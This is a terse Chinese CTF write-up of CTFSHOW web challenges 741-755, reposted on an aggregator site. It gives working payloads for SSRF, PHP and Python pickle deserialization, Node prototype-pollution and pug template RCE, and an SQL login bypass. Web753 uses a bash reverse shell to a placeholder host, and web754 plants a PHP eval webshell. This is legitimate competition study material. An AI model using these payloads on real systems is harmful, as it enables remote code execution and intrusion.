CTFSHOW大赛原题篇(web741-web755)
Posted yu22x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW大赛原题篇(web741-web755)相关的知识,希望对你有一定的参考价值。
因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。
文章目录
web741
ssrf绕过
url=http://0.0.0.0:8080/flag
web742
web743
a[]=1&b[]=2&c[]=1&d[]=2
web744
<?php
class ctfshowCURL
private $url="file:///var/www/html/flag%2ephp";
private $method="send";
echo urlencode(serialize(new ctfshowCURL()));
web745
function=file_get_contents¶m%5B%5D=/flag.txt
纯属蒙的
web746
wp
https://hi120ki.github.io/blog/posts/20210531/
得先登录成功 (admin/admin)
payload
"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\\"child_process\\").execSync(\\"./readflag\\"); //"
然后访问一下主页就可以了
web747
data=`ls ../`
data=`<../flag.txt`
web748
图片名字叫pickle.jpg,很明显是提示和python的反序列化有关。
随便输入一个值,查看cookie可以发现有内容,估计就是序列化的内容。那我们直接传一段恶意反序列化串就好了。(题目好好像是不能直接用os,所以我们通过__import__
将其导入)
import pickle
from base64 import b64encode as b64
import requests
class exp(object):
def __reduce__(self):
cmd = 'cat /app/flag.txt'
return __import__('os').popen, (cmd,)
e = exp()
s = pickle.dumps(e)
payload = b64(s).decode()
url = 'http://850a66a1-dbc9-413f-8068-9c2136d911e6.challenge.ctf.show/'
r = requests.get(url, cookies='contents': payload)
print(r.text)
web749
flat原型链污染+pug模板rce
当然这也是看了源码才知道的,怎么拿到的源码呢。。。
网上搜的。。。。
payload
//列目录
"song.name":"ASTa la vista baby",
"__proto__.block":
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('ls > static/js/main.js')"
//有个ctfshowxxxx文件
"song.name":"ASTa la vista baby",
"__proto__.block":
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat xxx > static/js/main.js')"
访问static/js/main.js拿到flag
web750
取反绕过就可以了
?formula=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98%d1%8b%87%8b)
web751
跟之前的web733差不多,只不过这个得先读下index.php,然后发现有个success.php flag就在里面。
<?php
class access_log
//public $log_file='index.php';
public $log_file='success.php';
echo urlencode(base64_encode(serialize(new access_log())));
web752
具体源码看不到,尝试了很多万能密码,发现下面这种可行。
password=||'1&username=\\
web753
本地搭建了一下源码,发现大致的作用如下:
会通过传入url地址下载网页内容
运行内容中的代码(作为linux命令)
代码报错的内容会被写到文件中
这样的话我们其实是可以执行任意命令的。
本来想的是执行ls > index.html
之类的命令,然后去访问首页得到运行结果,但是发现得重新启动环境才能生效。
因为没有回显所以最好的方法就是反弹shell了。
script_dir=1&script_name=1&script_url=http://xxx/shell.txt&command_log_file=1
vps上的内容为
bash -i >& /dev/tcp/xxx/4567 0>&1
web754
利用之前web686的无参数rce过的
POST:
cmd=system(pos(getallheaders()))
X-Forwarded-For:
echo '<?php eval($_POST[1]);?>' > /var/www/html/b.php;
蚁剑连上后运行/readflag
然后会在/tmp下生成一个flag,读取即可。
web755
源码
https://github.com/farazsth98/CTF/tree/master/zer0ptsctf/guestfs_afr/challenge
payload
https://github.com/farazsth98/CTF/blob/master/zer0ptsctf/guestfs_afr/exploit.py
放弃了。。。。
以上是关于CTFSHOW大赛原题篇(web741-web755)的主要内容,如果未能解决你的问题,请参考以下文章